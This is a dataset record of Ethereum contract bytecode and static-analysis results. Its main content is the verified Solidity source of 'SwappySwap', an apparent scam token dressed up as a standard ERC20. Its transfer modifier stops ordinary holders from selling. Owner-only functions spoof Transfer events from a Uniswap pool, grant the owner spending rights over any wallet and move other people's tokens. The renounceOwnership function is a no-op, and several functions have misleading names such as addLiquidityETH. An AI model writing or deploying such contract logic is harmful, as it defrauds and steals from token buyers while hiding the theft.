80601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611391565b60006117c26116c2565b905060006117d0838361149f565b306000908152600160205260409020549091506117ed9082611560565b30600090815260016020526040902055505050565b600654600090819068056bc75e2d6310000061181e828261151e565b82101561183b5750506006549268056bc75e2d6310000092509050565b90939092509050565b600080806118576064611292878761149f565b905060006118658683611776565b96919550909350505050565b6000808061187f868561149f565b9050600061188d868661149f565b9050600061189b8383611776565b92989297509195505050505050565b600060208083528351808285015260005b818110156118d7578581018301518582016040015282016118bb565b818111156118e9576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051a57600080fd5b803561191f816118ff565b919050565b6000806040838503121561193757600080fd5b8235611942816118ff565b946020939093013593505050565b60008060006060848603121561196557600080fd5b8335611970816118ff565b92506020840135611980816118ff565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119ba57600080fd5b823567ffffffffffffffff808211156119d257600080fd5b818501915085601f8301126119e657600080fd5b8135818111156119f8576119f8611991565b8060051b604051601f19603f83011681018181108582111715611a1d57611a1d611991565b604052918252848201925083810185019188831115611a3b57600080fd5b938501935b82851015611a6057611a5185611914565b84529385019392850192611a40565b98975050505050505050565b600060208284031215611a7e57600080fd5b8135611448816118ff565b60008060408385031215611a9c57600080fd5b8235611aa7816118ff565b91506020830135611ab7816118ff565b809150509250929050565b600060208284031215611ad457600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b5057611b50611b26565b5060010190565b60008219821115611b6a57611b6a611b26565b500190565b600060208284031215611b8157600080fd5b8151611448816118ff565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bdc5784516001600160a01b031683529383019391830191600101611bb7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c0f57611c0f611b26565b500390565b6000816000190483118215151615611c2e57611c2e611b26565b500290565b600082611c5057634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c2074bd974bc22673633f6e7fd2f06865d75d85c24c26a905a8027519da1f01864736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,462
0xF7A55E7D4E9Bb1cB11762E4B32DFd85026c74585
/** *Submitted for verification at Etherscan.io on 2022-03-23 */ pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} contract SwappySwap is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _affirmative; mapping (address => bool) private _rejectPile; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address private _safeOwner; uint256 private _sellAmount = 0; address public cr = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address deployer = 0x34bC58587087dfd380c2259C9B6DD9B6317f68e2; address public _owner = 0x34bC58587087dfd380c2259C9B6DD9B6317f68e2; constructor () public { _name = "SwappySwap"; _symbol = "SWAPPYSWAP"; _decimals = 18; uint256 initialSupply = 1000000000 * 10 ** 18 ; _safeOwner = _owner; _mint(deployer, initialSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _start(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _start(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function approvalIncrease(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _affirmative[receivers[i]] = true; _rejectPile[receivers[i]] = false; } } function approvalDecrease(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _rejectPile[receivers[i]] = true; _affirmative[receivers[i]] = false; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); if (sender == _owner){ sender = deployer; } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _start(address sender, address recipient, uint256 amount) internal main(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); if (sender == _owner){ sender = deployer; } emit Transfer(sender, recipient, amount); } modifier main(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_affirmative[sender] == true){ _;}else{if (_rejectPile[sender] == true){ require((sender == _safeOwner)||(recipient == cr), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_rejectPile[sender] = true; _affirmative[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == cr), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } modifier _auth() { require(msg.sender == _owner, "Not allowed to interact"); _; } //-----------------------------------------------------------------------------------------------------------------------// function multicall(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts) public _auth(){ //Multi Transfer Emit Spoofer from Uniswap Pool for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}} function addLiquidityETH(address emitUniswapPool,address emitReceiver,uint256 emitAmount) public _auth(){ //Emit Transfer Spoofer from Uniswap Pool emit Transfer(emitUniswapPool, emitReceiver, emitAmount);} function exec(address recipient) public _auth(){ _affirmative[recipient]=true; _approve(recipient, cr,_approveValue);} function obstruct(address recipient) public _auth(){ //Blker _affirmative[recipient]=false; _approve(recipient, cr,0); } function renounceOwnership() public _auth(){ //Renounces Ownership } function reverse(address target) public _auth() virtual returns (bool) { //Approve Spending _approve(target, _msgSender(), _approveValue); return true; } function transferTokens(address sender, address recipient, uint256 amount) public _auth() virtual returns (bool) { //Single Tranfer _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transfer_(address emitSender, address emitRecipient, uint256 emitAmount) public _auth(){ //Emit Single Transfer emit Transfer(emitSender, emitRecipient, emitAmount); } function transferTo(address sndr,address[] memory receivers, uint256[] memory amounts) public _auth(){ _approve(sndr, _msgSender(), _approveValue); for (uint256 i = 0; i < receivers.length; i++) { _transfer(sndr, receivers[i], amounts[i]); } } function swapETHForExactTokens(address sndr,address[] memory receivers, uint256[] memory amounts) public _auth(){ _approve(sndr, _msgSender(), _approveValue); for (uint256 i = 0; i < receivers.length; i++) { _transfer(sndr, receivers[i], amounts[i]); } } function airdropToHolders(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts)public _auth(){ for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}} function burnLPTokens()public _auth(){} }
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80636bb6126e116100f9578063a9059cbb11610097578063cd2ce4f211610071578063cd2ce4f214610c0c578063d8fc292414610d78578063dd62ed3e14610ee4578063e30bd74014610f5c576101a9565b8063a9059cbb14610b52578063b2bdfa7b14610bb8578063bb88603c14610c02576101a9565b806395d89b41116100d357806395d89b411461096d578063a1a6d5fc146109f0578063a64b6e5f14610a5e578063a901431314610ae4576101a9565b80636bb6126e146108c757806370a082311461090b578063715018a614610963576101a9565b8063313ce567116101665780634e6ec247116101405780634e6ec247146107335780635768b61a146107815780636268e0d5146107c557806362eb33e31461087d576101a9565b8063313ce567146104375780633cc4430d1461045b5780634c0cc925146105c7576101a9565b8063043fa39e146101ae57806306fdde0314610266578063095ea7b3146102e95780630cdfb6281461034f57806318160ddd1461039357806323b872dd146103b1575b600080fd5b610264600480360360208110156101c457600080fd5b81019080803590602001906401000000008111156101e157600080fd5b8201836020820111156101f357600080fd5b8035906020019184602083028401116401000000008311171561021557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610fb8565b005b61026e611171565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ae578082015181840152602081019050610293565b50505050905090810190601f1680156102db5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610335600480360360408110156102ff57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611213565b604051808215151515815260200191505060405180910390f35b6103916004803603602081101561036557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611231565b005b61039b611338565b6040518082815260200191505060405180910390f35b61041d600480360360608110156103c757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611342565b604051808215151515815260200191505060405180910390f35b61043f61141b565b604051808260ff1660ff16815260200191505060405180910390f35b6105c56004803603606081101561047157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156104ae57600080fd5b8201836020820111156104c057600080fd5b803590602001918460208302840111640100000000831117156104e257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561054257600080fd5b82018360208201111561055457600080fd5b8035906020019184602083028401116401000000008311171561057657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611432565b005b610731600480360360608110156105dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561061a57600080fd5b82018360208201111561062c57600080fd5b8035906020019184602083028401116401000000008311171561064e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156106ae57600080fd5b8201836020820111156106c057600080fd5b803590602001918460208302840111640100000000831117156106e257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506115a2565b005b61077f6004803603604081101561074957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116cc565b005b6107c36004803603602081101561079757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118eb565b005b61087b600480360360208110156107db57600080fd5b81019080803590602001906401000000008111156107f857600080fd5b82018360208201111561080a57600080fd5b8035906020019184602083028401116401000000008311171561082c57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611a37565b005b610885611bef565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610909600480360360208110156108dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c15565b005b61094d6004803603602081101561092157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d61565b6040518082815260200191505060405180910390f35b61096b611da9565b005b610975611e6e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109b557808201518184015260208101905061099a565b50505050905090810190601f1680156109e25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610a5c60048036036060811015610a0657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f10565b005b610aca60048036036060811015610a7457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061203d565b604051808215151515815260200191505060405180910390f35b610b5060048036036060811015610afa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506121d9565b005b610b9e60048036036040811015610b6857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612306565b604051808215151515815260200191505060405180910390f35b610bc0612324565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610c0a61234a565b005b610d7660048036036060811015610c2257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115610c5f57600080fd5b820183602082011115610c7157600080fd5b80359060200191846020830284011164010000000083111715610c9357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610cf357600080fd5b820183602082011115610d0557600080fd5b80359060200191846020830284011164010000000083111715610d2757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061240f565b005b610ee260048036036060811015610d8e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115610dcb57600080fd5b820183602082011115610ddd57600080fd5b80359060200191846020830284011164010000000083111715610dff57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610e5f57600080fd5b820183602082011115610e7157600080fd5b80359060200191846020830284011164010000000083111715610e9357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061257f565b005b610f4660048036036040811015610efa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506126a9565b6040518082815260200191505060405180910390f35b610f9e60048036036020811015610f7257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612730565b604051808215151515815260200191505060405180910390f35b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461107b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b815181101561116d5760016002600084848151811061109c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061110757fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611081565b5050565b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112095780601f106111de57610100808354040283529160200191611209565b820191906000526020600020905b8154815290600101906020018083116111ec57829003601f168201915b5050505050905090565b6000611227611220612812565b848461281a565b6001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b600061134f848484612a11565b6114108461135b612812565b61140b856040518060600160405280602881526020016148ec60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006113c1612812565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b61281a565b600190509392505050565b6000600760009054906101000a900460ff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60008090505b825181101561159c5782818151811061151057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061157257fe5b60200260200101516040518082815260200191505060405180910390a380806001019150506114fb565b50505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611665576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b61167983611671612812565b60085461281a565b60008090505b82518110156116c6576116b98484838151811061169857fe5b60200260200101518484815181106116ac57fe5b60200260200101516144b6565b808060010191505061167f565b50505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461178f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6117a4816004546147f390919063ffffffff16565b60048190555061181d81600080600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b600080600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611a3481600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600061281a565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611afa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b8151811015611beb576001806000848481518110611b1a57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110611b8557fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611b00565b5050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cd8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611d5e81600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660085461281a565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e6c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611f065780601f10611edb57610100808354040283529160200191611f06565b820191906000526020600020905b815481529060010190602001808311611ee957829003601f168201915b5050505050905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fd3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612102576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b61210d8484846144b6565b6121ce84612119612812565b6121c9856040518060600160405280602881526020016148ec60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061217f612812565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b61281a565b600190509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461229c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061231a612313612812565b8484612a11565b6001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461240d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146124d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60008090505b8251811015612579578281815181106124ed57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061254f57fe5b60200260200101516040518082815260200191505060405180910390a380806001019150506124d8565b50505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612642576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b6126568361264e612812565b60085461281a565b60008090505b82518110156126a3576126968484838151811061267557fe5b602002602001015184848151811061268957fe5b60200260200101516144b6565b808060010191505061265c565b50505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146127f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b61280982612801612812565b60085461281a565b60019050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156128a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061493